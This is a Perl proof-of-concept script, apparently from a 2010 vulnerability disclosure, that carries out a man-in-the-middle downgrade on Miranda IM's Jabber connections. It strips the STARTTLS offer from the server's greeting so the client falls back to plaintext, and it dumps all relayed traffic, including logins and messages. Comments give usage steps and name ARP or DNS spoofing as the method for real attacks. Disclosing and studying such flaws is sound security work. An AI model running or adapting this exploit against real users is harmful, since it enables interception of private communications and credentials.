`#!/usr/bin/perl
# Miranda IM TLS MitM Proof of Concept
# by Jan Schejbal, 2010-03-19
# MAY WORK WITHOUT MODIFICATIONS AGAINST OTHER CLIENTS WITH THIS ISSUE!
# Generally: Will work if client also accepts unencrypted connections
# if the server reports that TLS is not supported.
# Tested only on WinXP SP3 with ActivePerl 5.10.0
# against Miranda 0.8.16
# Usage:
# 1. Setup variables below, unless you want to test against jabber.ccc.de
# (note that this script does not do real XML parsing. Other servers
# might have slightly different code that will not be detected.
# In such a case, connecting will lock up. Adapt the RegExp below.)
# 2. Make 'victim' connect to this server instead of real server
# Network->Jabber->Account->Manually specify connection host
# (real attacks would use ARP spoofing, DNS spoofing or similar.)
# 3. Enable 'Use TLS'
# (make sure that 'Disable SASL' on advanced is UNCHECKED,
# as it silently disables TLS!)
# 4. Start script and connect with miranda
# 5. If all works, the dump goes to STDOUT, state is shown on STDERR.
# (All traffic should be sent in plain now!)
use strict;
use warnings;
use IO::Socket;
use IO::Select;
my $server = 'jabber.ccc.de';
my $port = 5222;
my $listenport = $port;
my $sock = new IO::Socket::INET(
LocalHost => '0.0.0.0',
LocalPort => $listenport,
Proto => 'tcp',
Listen => 1,
Reuse => 1,
);
print STDERR "Listening on $listenport for jabber connections\n";
print STDERR "Will forward to $server:$port\n";
my $client_connection = $sock->accept();
print STDERR "Incoming connection\n";
my $server_connection = new IO::Socket::INET(
PeerAddr => $server,
PeerPort => $port,
Proto => 'tcp',
);
print STDERR "Connected to server\n";
$server_connection->blocking(0);
$client_connection->blocking(0);
my $sel = IO::Select->new();
$sel->add($server_connection);
$sel->add($client_connection);
my $server_hello_done = 0;
my $server_hello_data;
my $readdata;
my @ready;
while(@ready = $sel->can_read()) {
foreach my $ready_conn (@ready) {
if (!sysread($ready_conn, $readdata, 10000)) {
print STDERR "\nReading failed!\n";
exit(1);
}
print "$readdata\n";
if ($ready_conn == $server_connection) {
# read was from server
if (!$server_hello_done) {
$server_hello_data .= $readdata;
print STDERR "\nCurrent server hello buf: $server_hello_data\n\n";
if ($server_hello_data =~ s|<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>||) {
print STDERR "removed STARTTLS offer from server hello\n";
$server_hello_done = 1;
print $client_connection $server_hello_data;
print STDERR "\nforwarded cached server hello buf: \n$server_hello_data\n\n";
print STDERR "MitM complete. Forwarding data ('<' = to client, '>' = to server)\n";
}
} else {
print $client_connection $readdata;
if ($server_hello_done) { print STDERR '<'; }
}
} else {
# read was from client, send to server
print $server_connection $readdata;
if ($server_hello_done) { print STDERR '>'; }
}
}
}
`
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